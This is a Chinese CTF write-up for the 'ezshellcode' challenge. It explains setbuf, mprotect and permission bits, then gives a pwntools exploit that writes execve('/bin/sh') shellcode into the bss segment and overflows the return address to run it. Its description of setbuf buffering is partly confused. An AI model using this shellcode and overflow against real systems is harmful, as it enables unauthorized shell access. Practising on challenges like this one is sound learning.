ezshellcode
CDOU 里 ezshellcode 的那道题。
1.检查后发现是 64 位的,开了 NX 保护。
2.用 64 位的 IDA 打开,f5 查看反汇编界面
1)setbuf 函数原型(在读取内容之前用 setbuf 函数设置缓冲区)
void setbuf(FILE * stream, char * buf);
stream 为文件流指针,buf 为缓冲区的起始地址。这里参数 buf 为 NULL ,意味着无缓冲,不能使用 FileStream 直接读入字符串,需要将字节数组转换为字符数组或者字符串。
文件流:对文件的内容进行读写。
其中,stdin 是标准输入,是我们所输入的东西。stdout 是标准输出 ,是终端输出出来的东西。stderr 是标准错误输出。在查找这个函数的过程中让我想起了之前做题遇到的一个问题,当时在结尾发送 payload 并没有起到什么作用,是被刷掉了,而中途在某个 puts 函数输出后发送 payload 过去后成功拿到了 shell。可能就是这个文件流刷新的问题。setbuf 会刷新缓冲区。如果刷新流后再输出的话,会覆盖以前的输出信息。在查询过程发现如果将 stdin/stdout/srederr 指向 NULL,setbuf 函数会关闭缓冲区,而不仅仅是刷新。而关闭缓冲区会从我们的输入输出流里面读取数据。
缓冲区: 在内存空间中预留的一定的存储空间。我们把数据存入缓冲区,计算机从缓冲区中读取数据。计算机对缓冲区的操作大大快于对磁盘的操作,所以缓冲区可大大提高计算机的运行速度。总结:setbuf 是对输入输出的字符串所储存的缓冲区进行指定的更改,并且会刷新缓冲区,覆盖掉之前输出的信息,如果缓冲区起始地址指向 NULL,函数会关闭缓冲区并从输入输出流里面读取数据。
2)mprotect 函数原型(作用:修改内存权限)
int mprotect(const void *start, size_t len, int prot);
其中,const void *start 是我们想要改写属性的内存中开始地址。
size_t len 是我们想要改写属性的内存长度。
int prot 是所赋予的权限。
在这里括号里灰色的是备注,7 表示读取、写入和执行权限。
Linux 下的每个文件都有以下三种权限
r:表示读取,对应的数字为 4;
w:表示写入,对应的数字为 2;
x:表示执行,对应的数字为 1
7=4+2+1
而 777 对应的是:
User:文件所属者-------7
Group:文件所属组-----7
Other:其他人----------7
3.编写 exp 脚本
from pwn import * context.arch='amd64' io = remote("node5.anna.nssctf.cn", 28010) shellcode=b'\x48\x31\xC0\x6A\x3B\x58\x48\x31\xFF\x48\xBF\x2F\x62\x69\x6E\x2F\x73\x68\x00 \x57\x54\x5F\x48\x31\xF6\x48\x31\xD2\x0F\x05' #pwntools 里的 shellcode 不够短,所以得在网上找 io.sendafter("Please.\n",shellcode) # 在跳转执行之前写入的 shellcode payload = b'a'*(0xA+8)+p64(0x6010A0)#是 bss 段地址 io.sendafter("start!\n",payload) io.interactive()
编写 exp 的思路
首先 shift+f12 查找字符串,发现没有 system 和 binsh,可以用 re2shellcode 做。找到bss 段地址 0x6010A0,发现有 read 函数读取的字节数大于缓冲区储存字节数造成缓冲区溢出。查看缓冲区大小为 0xA+8。在网上找到一段符合的 shellcode,然后将 shellcode 先写入 bss 段,再将 payload 发送过去进行溢出,并将返回地址指向对应的 bss 段,从而执行 bss 段的 shellcode 从而拿到 shell.